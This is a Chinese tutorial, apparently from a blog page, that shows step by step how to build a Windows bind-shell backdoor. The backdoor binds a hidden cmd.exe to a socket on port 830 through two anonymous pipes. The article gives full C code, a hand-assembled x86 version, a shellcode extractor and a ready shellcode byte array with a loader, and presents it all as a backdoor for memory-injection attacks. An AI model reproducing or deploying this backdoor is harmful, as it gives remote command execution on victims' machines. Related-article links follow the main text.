本文将介绍如何将CMD绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的ShellCode后门,并以此提高代码通用性。最终,我们将通过一个实际的漏洞攻击场景来展示如何利用这个后门实现内存注入攻击。

1.6.1 什么是匿名管道

首先管道(Pipe)是一种IPC机制,用于在同一台计算机上进行进程间通信。它可以让一个进程将数据写入到管道中,然后另一个进程可以从管道中读取这些数据。一般而言管道可以分为匿名管道(Anonymous Pipe)或命名管道(Named Pipe)两种形式。

  • 匿名管道是一种临时的管道,只能用于父子进程之间或兄弟进程之间的通信。它是一个双向的、无名的、半双工的通道,只能在创建它的进程及其子进程之间进行通信。
  • 命名管道是一种具有名称的管道,可以用于在不同的进程之间进行通信。命名管道可以在不同的进程之间共享,并可以在多个进程之间传递数据。它可以是单向的或双向的,可以使用同步或异步方式进行通信。

在实现中,管道通常是由操作系统提供的一段共享内存区域。在管道创建时,操作系统会为管道分配一段内存区域,该内存区域由创建管道的进程和与其通信的进程共享。当进程往管道中写入数据时,数据会被存储在管道的内存缓冲区中,然后等待另一个进程从管道中读取数据。当另一个进程读取管道中的数据时,数据将从内存缓冲区中被读取并且被删除,从而保证数据传输的正确性和可靠性。

有了管道的支持,我们向其他进程传输数据时就可像对普通文件读写那样简单。管道操作的标识符是HANDLE句柄,当管道被正确创建时则,我们可以直接使用ReadFile、WriteFile等文件读写函数来读写它,读者无需了解网络间进程间通信的细节部分;

一般匿名管道的创建需要调用CreatePipe()函数实现,它可以创建一个管道,并返回两个句柄,一个用于读取管道数据,另一个用于写入管道数据。

CreatePipe函数的语法如下:

BOOL CreatePipe(
PHANDLE hReadPipe, // 读取管道数据的句柄指针
PHANDLE hWritePipe, // 写入管道数据的句柄指针
LPSECURITY_ATTRIBUTES lpPipeAttributes, // 指向安全属性结构的指针
DWORD nSize // 管道缓冲区大小,若为0则使用默认大小
);

其中,hReadPipehWritePipePHANDLE类型的指针,用于接收读取和写入管道的句柄。lpPipeAttributes是指向SECURITY_ATTRIBUTES结构的指针,用于指定管道的安全属性,通常设置为NULLnSize是管道缓冲区的大小,若为0则使用默认大小。在使用CreatePipe函数创建匿名管道后,读者可以使用WriteFile函数往管道中写入数据,也可以使用ReadFile函数从管道中读取数据。读取和写入管道的操作需要使用相应的句柄。


小提示:匿名管道只能在具有亲缘关系的进程之间使用,即父子进程或兄弟进程,通过设置CreateProcess函数中的bInheritHandles属性为True则可实现父子进程,如果需要在不同的进程之间使用管道进行通信,则应该使用命名管道。


接着来简单介绍一下CreateProcess函数,该函数用于创建一个新的进程,返回值非0表示成功,为0表示失败。为了让2个进程产生父子及继承关系,参数bInheritHandles应设置为True,该函数的原型如下所示;

BOOL CreateProcess(
LPCWSTR lpApplicationName, // 可执行文件名或者命令行
LPWSTR lpCommandLine, // 命令行参数
LPSECURITY_ATTRIBUTES lpProcessAttributes,// 进程安全属性
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性
BOOL bInheritHandles, // 是否继承父进程的句柄
DWORD dwCreationFlags, // 进程创建标志
LPVOID lpEnvironment, // 新进程的环境块指针
LPCWSTR lpCurrentDirectory, // 新进程的工作目录
LPSTARTUPINFO lpStartupInfo, // STARTUPINFO 结构体指针
LPPROCESS_INFORMATION lpProcessInformation// PROCESS_INFORMATION 结构体指针
);

实现匿名管道通信,我们还需要了解最后一个函数PeekNamedPipe,该函数用于检查命名管道中的是否有数据,函数返回值为BOOL类型,如果函数调用成功,则返回TRUE,否则返回FALSE

该函数的原型定义如下所示;

BOOL PeekNamedPipe(
HANDLE hNamedPipe, // 命名管道的句柄
LPVOID lpBuffer, // 存储读取数据的缓冲区
DWORD nBufferSize, // 缓冲区的大小
LPDWORD lpBytesRead, // 实际读取的字节数
LPDWORD lpTotalBytesAvail, // 管道中可用的字节数
LPDWORD lpBytesLeftThisMessage // 下一条消息剩余的字节数
);

在调用成功的情况下,lpBytesRead参数返回实际读取的字节数,lpTotalBytesAvail参数返回管道中可用的字节数,lpBytesLeftThisMessage参数返回下一条消息剩余的字节数。如果命名管道为空,则函数会阻塞等待数据到来,当接收到数据时则读者即可通过调用ReadFile在管道中读取数据,或调用WriteFile来向管道写入数据,至此关键的API函数已经介绍完了;

1.6.2 C语言实现双管道后门

其实匿名管道反弹CMD的工作原理可以理解为,首先攻击机发命令并通过Socket传给目标机的父进程,目标机的父进程又通过一个匿名管道传给子进程,这里的子进程是cmd.exe,CMD执行命令后,把结果通过另一个匿名管道返给父进程,父进程最后再通过Socket返回给攻击机,以此则实现了反弹Shell的目的;

接着我们就来实现这个双向匿名管道功能,在实现管道之前需要先建立套接字,首先使用WSAStartup函数初始化Winsock库,并使用socket函数创建一个套接字。然后,使用bind函数将套接字绑定到特定的IP地址和端口号。listen函数将套接字设置为侦听传入的连接,而accept函数会一直阻塞直到建立客户端连接。一旦连接建立,代码会返回客户端的套接字描述符clientFD。

WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret; // 初始化网络通信库
WSAStartup(MAKEWORD(2, 2), &ws); // 建立Socket套接字
listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 配置通信协议属性,并监听本机830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr = ADDR_ANY; // 开始绑定套接字
ret = bind(listenFD, (sockaddr *)&server, sizeof(server)); // 侦听套接字链接
ret = listen(listenFD, 2); // 接受一个连接
int iAddrSize = sizeof(server);
SOCKET clientFD = accept(listenFD, (sockaddr *)&server, &iAddrSize);

有了套接字功能,则第二步需要创建两个PIPE管道,其中第一个管道用于输出执行结果,第二个管道用于输入命令,把CMD子进程输出句柄用管道1的写句柄替换,此时主进程就可以通过读管道1的读句柄来获得输出;另外,我们还要把CMD子进程的输入句柄用2的读句柄替换,此时主进程就可以通过写管道2的写句柄来输入命令。

其通信过程如下:

  • (远程主机)←输入←管道1输出←管道1输入←输出(CMD子进程)
  • (远程主机)→输出→管道2输入→管道2输出→输入(CMD子进程)
SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2; // 建立匿名管道1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0); // 建立匿名管道2
pipeattr2.nLength = 12;
pipeattr2.lpSecurityDescriptor = 0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);

为了得到上述绑定效果,我们在设置CMD子进程STARTUPINFO启动参数时就应该做好绑定工作,通过填入如下所示的变量值,并调用CreateProcess实现对进程的绑定,通过替换进程的输出句柄为管道1的写句柄,输入句柄为管道2的读句柄。最后再开启CMD命令就实现了绑定功能,代码如下所示;

// 填充所需参数实现子进程与主进程通信
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1; char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation; // 建立进程绑定参数
ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);

当CMD子进程启动后,则下一步则是和远程攻击机之间建立通信,如下代码通过使用PeekNamedPiperecv函数不断检查从远程客户端或CMD进程接收到的数据。如果从CMD进程中有可读数据,则使用ReadFile函数读取该数据并使用send函数发送回远程客户端。如果没有数据可读,则程序接收从远程客户端发来的命令,并将命令写入管道2,即传给CMD进程。这个过程不断循环执行,直到出现错误或收到退出命令。

unsigned long lBytesRead;
while (1)
{
// 检查管道1 即CMD进程是否有输出
ret = PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
if (lBytesRead)
{
//管道1有输出 读出结果发给远程客户机
ret = ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);
if (!ret)
{
break;
} ret = send(clientFD, Buff, lBytesRead, 0);
if (ret <= 0)
{
break;
}
}
else
{
// 否则接收远程客户机的命令
lBytesRead = recv(clientFD, Buff, 1024, 0);
if (lBytesRead <= 0)
{
break;
}
// 将命令写入管道2 即传给cmd进程
ret = WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);
if (!ret)
{
break;
}
}
}

如上代码所示就是完整的双向匿名管道的实现原理,我们通过整合并编译,打开编译后的可执行程序,此时读者可使用netcat工具执行nc 127.0.0.1 830则可连接到该后门内部,并以此获得一个Shell后门,此时读者可执行任意命令,输出效果如下图所示;

1.6.3 汇编实现并提取ShellCode

在之前文章中我们介绍了如何使用C语言创建一个双管道通信后门,而对于在实战中,往往需要直接注入后门到内存,此时将后门转换为ShellCode是一个不错的选择,首先为了保证文章的篇幅不宜过长,此处暂且不考虑生成汇编代码的通用性,首先我们需要得到在当前系统中所需要使用的函数的动态地址,至于如何提取这些动态地址,在之前的文章通用ShellCode提取中有过详细的介绍,此处我们就直接给出实现代码;

#include <Windows.h>
#include <iostream> typedef void(*MyProcess)(LPSTR); int main(int argc, char *argv[])
{
HINSTANCE KernelHandle;
HINSTANCE WS2Handle;
MyProcess ProcAddr; KernelHandle = LoadLibrary(L"kernel32");
printf("kernel32 address = 0x%x\n", KernelHandle); WS2Handle = LoadLibrary(L"ws2_32");
printf("ws2_32 address = 0x%x\n\n", WS2Handle); CHAR *FuncList[13] =
{
"CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess",
"WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"
}; for (size_t i = 0; i < 13; i++)
{
if (i < 6)
{
// 输出kerlen32中的参数
ProcAddr = (MyProcess)GetProcAddress(KernelHandle, FuncList[i]);
printf("%s = 0x%x \n", FuncList[i], ProcAddr);
}
else
{
// 输出ws2中的参数
ProcAddr = (MyProcess)GetProcAddress(WS2Handle, FuncList[i]);
printf("%s = 0x%x \n", FuncList[i], ProcAddr);
}
} system("pause");
return 0;
}

当读者运行这段程序时,则会输出kernel32.dllws2_32.dll的模块基址,同时还会输出"CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess","WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"这些我们所需要的函数的内存地址,输出效果如下图所示;

接着我们需要将这些函数内存地址依次填充到汇编代码中,将其动态压入堆栈保存,如下是笔者填充过的汇编代码片段,此处的十六进制数读者电脑中的与笔者一定不一致,请读者自行替换即可;

mov eax,0x763e2d70
mov [ebp+4], eax; CreatePipe
mov eax,0x763e2d90
mov [ebp+8], eax; CreateProcessA
mov eax,0x763e4140
mov [ebp+12], eax; PeekNamedPipe
mov eax,0x763d35b0
mov [ebp+16], eax; WriteFile
mov eax,0x763d34c0
mov [ebp+20], eax; ReadFile
mov eax,0x763d4100
mov [ebp+24], eax; ExitProcess
mov eax,0x76c29cc0
mov [ebp+28], eax; WSAStartup
mov eax,0x76c2c990
mov [ebp+32], eax; socket
mov eax,0x76c2d890
mov [ebp+36], eax; bind
mov eax,0x76c35d90
mov [ebp+40], eax; listen
mov eax,0x76c369c0
mov [ebp+44], eax; accept
mov eax,0x76c358a0
mov [ebp+48], eax; send
mov eax,0x76c323a0
mov [ebp+52], eax; recv

小提示:STDcall是一种调用约定,用于指定函数参数的传递方式、函数返回值的处理方式以及函数调用后堆栈的清理方式,它在Windows平台上广泛使用。该调用规定,函数的参数从右到左依次入栈,函数返回值存储在EAX寄存器中。在函数调用后,由调用方负责清理堆栈上的参数,因此被调用函数不需要执行额外的堆栈清理操作。


在源程序的第一句指令,是执行WSAStartup(0x202, &ws)。我们按照32位下函数的STDCALL调用规范,首先将参数从右至左依次压入栈中,其中该函数的第二个参数&ws表示一个地址,因为WS地址已经不再使用了,所以此处我们就随意压入一个地址即可(比如ESP的值),第一个参数时0x202则此时我们直接使用push 0x202压入,至此函数的参数已经填充完毕了,接下来则是调用该函数,因WSAStartup的地址保存在[ebp+28]中,所以我们通过call [ebp+28]就可以调用到该地址啦。

push esp
push 0x202
call [ebp + 28] // WSAStartup地址

接着是原程序中的第二个函数Socket(2,1,6)读者需要先将6、1、2依次入栈,最后再call socket的地址,也就是调用[ebp + 32]即可实现调用。

; socket(2,1,6)
push 6
push 1
push 2
call [ebp + 32]
mov ebx, eax // 将套接字保存到EBX中

读者是否会有疑问,此处为什么会传递这些参数呢,读者可在源程序的开头位置设置断点,并打开反汇编窗口,观察建立Socket的参数传递情况,即可一目了然;

接着我们继续提取第三个关键函数Bind()绑定函数,相比于前两个函数而言,绑定函数要显得更加复杂一些,原因是该函数需要填充一个sockaddr_in的结构体变量,所以在填充参数之前还需要具体分析;

struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));

我们还是借助VS工具,在bind()函数上下断点,并打开反汇编窗口(Ctrl+Alt+D),观察编译器是如何编译处理的,如下图所示;

高级语言执行bind时,首先是将0x10入栈,说明sizeof(server)的参数传递其实就是0x10

第二个参数&serversockaddr_in结构的地址。在sockaddr_in结构中,包括了绑定的协议、IP、端口号等值。和在堆栈中构造字符串一样,我们也在栈中构造出sockaddr_in的结构,那么esp就是sockaddr_in结构的地址了。

为了能够更好的提取到第二个参数的压入信息,我们需要将调试器运行到listen(listenFD, 2)处,并打开内存窗口,输出&server跳转到当前结构体填充位置处,读者可看到如下内存数据;

从上图中可看出,如下执行后其实就是得到了02 00 03 3E 00 00 00 00,知道了确切要赋的值,我们就依葫芦画瓢,开始压栈push 0x0000,push 0x0000,push 0x3E030002此时我们就在堆栈中构造出了sockaddr_in结构的值,而且esp就正好是结构的地址。我们把它保存给esi作为第二个参数压入堆栈。

好了,剩下就简单了,最后一个参数是socket。上面执行了socket()后,我们把socket的值保存在了ebx中,所以将ebx压入就可以了。最后call调用函数。bind函数地址存放在[ebp + 36]中,将这段汇编代码结合起来就像如下所示。

; bind(listenFD,(sockaddr *)&server,sizeof(server));
xor edi,edi // 先构造server
push edi
push edi
mov eax,0x3E030002 ; port 830 AF_INET
push eax
mov esi, esp // 把server地址赋给esi
push 0x10 ; length
push esi ; &server
push ebx ; socket
call [ebp + 36] ; bind

好了根据上述方法,读者需要依次跟踪代码执行流程,并嫁给你所需要的参数依次提取出来,最终将这些参数组合在一起,即可得到如下方所示的一段汇编代码片段;

#include <Windows.h>
#include <iostream> int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
LoadLibrary("ws2_32.dll"); __asm
{
push ebp;
sub esp, 80;
mov ebp, esp; // 替换所需函数地址
mov eax, 0x763e2d70
mov[ebp + 4], eax; CreatePipe
mov eax, 0x763e2d90
mov[ebp + 8], eax; CreateProcessA
mov eax, 0x763e4140
mov[ebp + 12], eax; PeekNamedPipe
mov eax, 0x763d35b0
mov[ebp + 16], eax; WriteFile
mov eax, 0x763d34c0
mov[ebp + 20], eax; ReadFile
mov eax, 0x763d4100
mov[ebp + 24], eax; ExitProcess
mov eax, 0x76c29cc0
mov[ebp + 28], eax; WSAStartup
mov eax, 0x76c2c990
mov[ebp + 32], eax; socket
mov eax, 0x76c2d890
mov[ebp + 36], eax; bind
mov eax, 0x76c35d90
mov[ebp + 40], eax; listen
mov eax, 0x76c369c0
mov[ebp + 44], eax; accept
mov eax, 0x76c358a0
mov[ebp + 48], eax; send
mov eax, 0x76c323a0
mov[ebp + 52], eax; recv mov eax, 0x0
mov[ebp + 56], 0
mov[ebp + 60], 0
mov[ebp + 64], 0
mov[ebp + 68], 0
mov[ebp + 72], 0 LWSAStartup:
; WSAStartup(0x202, DATA) sub esp, 400
push esp
push 0x202
call[ebp + 28] socket: ; socket(2, 1, 6)
push 6
push 1
push 2
call[ebp + 32]
mov ebx, eax; save socket to ebx LBind : ; bind(listenFD, (sockaddr *)&server, sizeof(server));
xor edi, edi
push edi
push edi
mov eax, 0x3E030002
push eax; port 830 AF_INET
mov esi, esp push 0x10; length
push esi; &server
push ebx; socket
call[ebp + 36]; bind LListen : ; listen(listenFD, 2)
inc edi
inc edi
push edi; 2
push ebx; socket
call[ebp + 40]; listen LAccept :
; accept(listenFD, (sockaddr *)&server, &iAddrSize)
push 0x10
lea edi, [esp]
push edi
push esi; &server
push ebx; socket
call[ebp + 44]; accept
mov ebx, eax; save newsocket to ebx Createpipe1 :
; CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);
xor edi, edi
inc edi
push edi
xor edi, edi
push edi
push 0xc; pipeattr mov esi, esp push edi; 0
push esi; pipeattr1
lea eax, [ebp + 60]; &hWritePipe1
push eax
lea eax, [ebp + 56]; &hReadPipe1
push eax
call[ebp + 4] CreatePipe2:
; CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);
push edi; 0
push esi; pipeattr2
lea eax, [ebp + 68]; hWritePipe2
push eax
lea eax, [ebp + 64]; hReadPipe2
push eax
call[ebp + 4] CreateProcess:
; ZeroMemory TARTUPINFO, 10h PROCESS_INFORMATION 44h
sub esp, 0x80
lea edi, [esp]
xor eax, eax
push 0x80
pop ecx
rep stosd
; si.dwFlags
lea edi, [esp]
mov eax, 0x0101
mov[edi + 2ch], eax; ; si.hStdInput = hReadPipe2 ebp + 64
mov eax, [ebp + 64]
mov[edi + 38h], eax ; si.hStdOutput si.hStdError = hWritePipe1 ebp + 60
mov eax, [ebp + 60]
mov[edi + 3ch], eax
mov eax, [ebp + 60]
mov[edi + 40h], eax ; cmd.exe
mov eax, 0x00646d63
mov[edi + 64h], eax; cmd ; CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation)
lea eax, [esp + 44h] push eax; &pi
push edi; &si
push ecx; 0
push ecx; 0
push ecx; 0
inc ecx
push ecx; 1
dec ecx
push ecx; 0
push ecx; 0
lea eax, [edi + 64h]; "cmd"
push eax
push ecx; 0
call[ebp + 8]
loop1: ; while1
; PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
sub esp, 400h;
mov esi, esp; esi = Buff
xor ecx, ecx
push ecx; 0
push ecx; 0
lea edi, [ebp + 72]; &lBytesRead
push edi
mov eax, 400h
push eax; 1024
push esi; Buff
mov eax, [ebp + 56]
push eax; hReadPipe1
call[ebp + 12]
mov eax, [edi]
test eax, eax
jz recv_command send_result : ; ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0)
xor ecx, ecx
push ecx; 0
push edi; &lBytesRead
push[edi]; hReadPipe1
push esi; Buff
push[ebp + 56]; hReadPipe1
call[ebp + 20] ; send(clientFD, Buff, lBytesRead, 0)
xor ecx, ecx
push ecx; 0
push[edi]; lBytesRead
push esi; Buff
push ebx; clientFD
call[ebp + 48]
jmp loop1 recv_command : ; recv(clientFD, Buff, 1024, 0) xor ecx, ecx
push ecx
mov eax, 400h
push eax
push esi
push ebx
call[ebp + 52]
//lea ecx,[edi]
mov[edi], eax ; WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0)
xor ecx, ecx
push ecx
push edi
push[edi]
push esi
push[ebp + 68]
call[ebp + 16] jmp loop1
end :
}
system("pause");
return 0;
}

接下来则是提取特征码,提取时读者可以使用如下程序实现,将上方汇编代码放入到ShellCodeStart-ShellCodeEnd区域内,运行后则可提取出特定特征码参数;

#include <stdio.h>
#include <Windows.h> int main(int argc, char* argv[])
{
DWORD Start, End, Len;
goto GetShellCode;
__asm
{
ShellCodeStart:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
int 3
ShellCodeEnd:
} GetShellCode:
__asm
{
mov Start, offset ShellCodeStart
mov End, offset ShellCodeEnd
} Len = End - Start;
unsigned char* newBuffer = new unsigned char[Len + 1024]; memset(newBuffer, 0, Len + 1024);
memcpy(newBuffer, (unsigned char*)Start, Len); for (size_t i = 0; i < Len; i++)
{
printf("\\x%x", newBuffer[i]);
} // 直接写出二进制
/*
FILE* fp_bin = fopen("d://shellcode.bin", "wb+");
fwrite(newBuffer, Len, 1, fp_bin);
_fcloseall(); // 写出Unicode格式ShellCode
FILE *fp_uncode = fopen("c://un_ShellCode.txt", "wb+");
for (int x = 0; x < Len; x++)
{
fprintf(fp_uncode, "%%u%02x%02x", newBuffer[x + 1], newBuffer[x]);
}
_fcloseall();
*/ system("pause");
return 0;
}

运行后,则可自动提取出特征码,如下图所示;

至此请读者自行将上述ShellCode代码替换之如下测试框架中测试;

#include <stdio.h>
#include <Windows.h> unsigned char ShellCode[] =
"\x55\x83\xec\x50\x8b\xec\xb8\x70\x2d\x3e\x76\x89\x45\x4\xb8\x90\x2d\x3e\x76"
"\x89\x45\x8\xb8\x40\x41\x3e\x76\x89\x45\xc\xb8\xb0\x35\x3d\x76\x89\x45"
"\x10\xb8\xc0\x34\x3d\x76\x89\x45\x14\xb8\x0\x41\x3d\x76\x89\x45\x18\xb8\xc0\x9c\xc2"
"\x76\x89\x45\x1c\xb8\x90\xc9\xc2\x76\x89\x45\x20\xb8\x90\xd8\xc2\x76\x89\x45\x24\xb8"
"\x90\x5d\xc3\x76\x89\x45\x28\xb8\xc0\x69\xc3\x76\x89\x45\x2c\xb8\xa0\x58\xc3\x76\x89"
"\x45\x30\xb8\xa0\x23\xc3\x76\x89\x45\x34\xb8\x0\x0\x0\x0\xc6\x45\x38\x0\xc6\x45\x3c"
"\x0\xc6\x45\x40\x0\xc6\x45\x44\x0\xc6\x45\x48\x0\x81\xec\x90\x1\x0\x0\x54\x68\x2\x2"
"\x0\x0\xff\x55\x1c\x6a\x6\x6a\x1\x6a\x2\xff\x55\x20\x8b\xd8\x33\xff\x57\x57\xb8\x2\x0"
"\x3\x3e\x50\x8b\xf4\x6a\x10\x56\x53\xff\x55\x24\x47\x47\x57\x53\xff\x55\x28\x6a\x10\x8d"
"\x3c\x24\x57\x56\x53\xff\x55\x2c\x8b\xd8\x33\xff\x47\x57\x33\xff\x57\x6a\xc\x8b\xf4\x57\x56"
"\x8d\x45\x3c\x50\x8d\x45\x38\x50\xff\x55\x4\x57\x56\x8d\x45\x44\x50\x8d\x45\x40\x50\xff\x55"
"\x4\x81\xec\x80\x0\x0\x0\x8d\x3c\x24\x33\xc0\x68\x80\x0\x0\x0\x59\xf3\xab\x8d\x3c\x24\xb8"
"\x1\x1\x0\x0\x89\x47\x2c\x8b\x45\x40\x89\x47\x38\x8b\x45\x3c\x89\x47\x3c\x8b\x45\x3c\x89\x47"
"\x40\xb8\x63\x6d\x64\x0\x89\x47\x64\x8d\x44\x24\x44\x50\x57\x51\x51\x51\x41\x51\x49\x51\x51"
"\x8d\x47\x64\x50\x51\xff\x55\x8\x81\xec\x0\x4\x0\x0\x8b\xf4\x33\xc9\x51\x51\x8d\x7d\x48\x57"
"\xb8\x0\x4\x0\x0\x50\x56\x8b\x45\x38\x50\xff\x55\xc\x8b\x7\x85\xc0\x74\x19\x33\xc9\x51\x57"
"\xff\x37\x56\xff\x75\x38\xff\x55\x14\x33\xc9\x51\xff\x37\x56\x53\xff\x55\x30\xeb\xc3\x33\xc9"
"\x51\xb8\x0\x4\x0\x0\x50\x56\x53\xff\x55\x34\x89\x7\x33\xc9\x51\x57\xff\x37\x56\xff\x75\x44"
"\xff\x55\x10\xeb\xa4"; int main(int argc, char* argv[])
{
LoadLibrary("kernel32.dll");
LoadLibrary("ws2_32.dll"); __asm
{
lea eax, ShellCode
call eax
} system("pause");
return 0;
}

当读者运行该程序时,则会弹出服务端请求网络创建功能,此时我们的ShellCode就算成功提取出来了,输出效果图如下所示;

1.6 编写双管道ShellCode后门的更多相关文章

  1. python Pipe 双管道通信

    管道:是python多进程中一种交换数据的方式 from multiprocessing import Process,current_process,Queue,Pipe import time i ...

  2. 缓冲区溢出分析第05课:编写通用的ShellCode

    前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...

  3. 编写X86的ShellCode

    ShellCode 定义 ShellCode是不依赖环境,放到任何地方都能够执行的机器码 编写ShellCode的方式有两种,分别是用编程语言编写或者用ShellCode生成器自动生成 ShellCo ...

  4. PHP之编写日志文件留后门(免杀)

    (我知道你们都喜欢干货,所以也没亏待你们,请到文末吧,成果附件已上传~) 本文原创作者:Laimooc(原名xoanHn) 鄙人宗旨: 本人秉着爱学习爱恶搞爱研究爱进步并且遵纪守法的心态写下这篇文章, ...

  5. 用命令关键字(Cmdlet Keyworlds)编写面向管道的脚本

    使用begin  process和end关键字 把你的脚本分成 初始化 处理和清楚几个区域

  6. 三、后门的编写和 ShellCode 的提取

    第三章.后门的编写和 ShellCode 的提取 (一)IP 和 Socket 编程初步 NOTES: 1.Windows 下网络通信编程的几种方式 第一种是基于 NetBIOS 的网络编程,这种方法 ...

  7. 二、Windows 下 ShellCode 编写初步

    第二章.Windows 下 ShellCode 编写初步 (一)shellcode 定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进 ...

  8. Linux下shellcode的编写

    Linux下shellcode的编写 来源  https://xz.aliyun.com/t/2052 EdvisonV / 2018-02-14 22:00:42 / 浏览数 6638 技术文章 技 ...

  9. FreeBSD上编写x86 Shellcode初学者指南

    FreeBSD上编写x86 Shellcode初学者指南 来源 https://www.4hou.com/binary/14375.html 介绍 本教程的目的是帮助你熟悉如何在FreeBSD操作系统 ...

  10. 【读书笔记】管道和FIFO

    管道 提供一个单路(单向)数据流,可以为两个不同进程提供进程间的通信手段 #include <unistd.h> ]); 返回两个文件描述符,fd[0](读) 和 fd[1](写) 管道间 ...

随机推荐

  1. Nordic nRF52系列/nRF5340硬件设计(一)选型及原理图设计

    Nordic 的BLE系列芯片从第一代的nRF51系列,到第二代的nRF52系列,发展到目前最新的第三代的nRF5340.目前市场中使用最多的nRF52系列一共有七款芯片,它们是:nRF52805.n ...

  2. 从零开始学Vue(二~三)—— Vue 实例 / 模板语法(插值、指令)

    概述 vue.js作为现在笔记热门的JS框架,使用比较简单易上手,也成为很多公司首选的JS框架. 但是对于初学者可能学起来有些麻烦,所以推出<从零开始学Vue>系列博客,本系列计划推出19 ...

  3. lnmp中遇到open_basedir配置无效问题

    在使用LNMP包安装PHP时,发现直接修改php.ini的配置是无法生效的,其原因竟然是因为nginx的配置文件,覆盖了php.ini的配置.  ----------------------–  LN ...

  4. 基于Java实现数据脱敏

    用法 Jdk版本 大于等于1.8 maven依赖 <dependency> <groupId>red.zyc</groupId> <artifactId> ...

  5. 我的第一个项目(十二) :分数和生命值的更新(后端增删查改的"改")

    好家伙,写后端,这多是一件美逝. 关于这个项目的代码前面的博客有写  我的第一个独立项目 - 随笔分类 - 养肥胖虎 - 博客园 (cnblogs.com) 现在,我们登陆进去了,我开始和敌人战斗,诶 ...

  6. 分享一下.net core mvc的ModelStateExtend

    主要代码: using Cracker.Core.Function; using Microsoft.AspNetCore.Mvc.ModelBinding; namespace Cracker.Co ...

  7. 关于PM系统以及OA系统的工作基本心态

    这个系统的目的是什么? 这个系统的初衷是好的,是一个信息化管理的数据科学系统,目的是更好的累计公司的业务数据. 但实际操作过程中,包括推广过程中,你能看到上层人员对于这个系统的态度,更像是一个个人企业 ...

  8. .NET Core 波场链离线签名、广播交易(发送 TRX和USDT)笔记

    Get Started NuGet You can run the following command to install the Tron.Wallet.Net in your project. ...

  9. 2022-10-03:给定一个正数n,比如6 表示数轴上有 0,1,2,3,4,5,6 <0 或者 >6 的位置认为无法到达 给定两个数字x和y,0<= x,y <= n 表示小人一开始在x的位置,它

    2022-10-03:给定一个正数n,比如6 表示数轴上有 0,1,2,3,4,5,6 <0 或者 >6 的位置认为无法到达 给定两个数字x和y,0<= x,y <= n 表示 ...

  10. 2022-09-30:以下go语言代码输出什么?A: true true false true false; B: true false false true false; C: true true

    2022-09-30:以下go语言代码输出什么?A: true true false true false: B: true false false true false: C: true true ...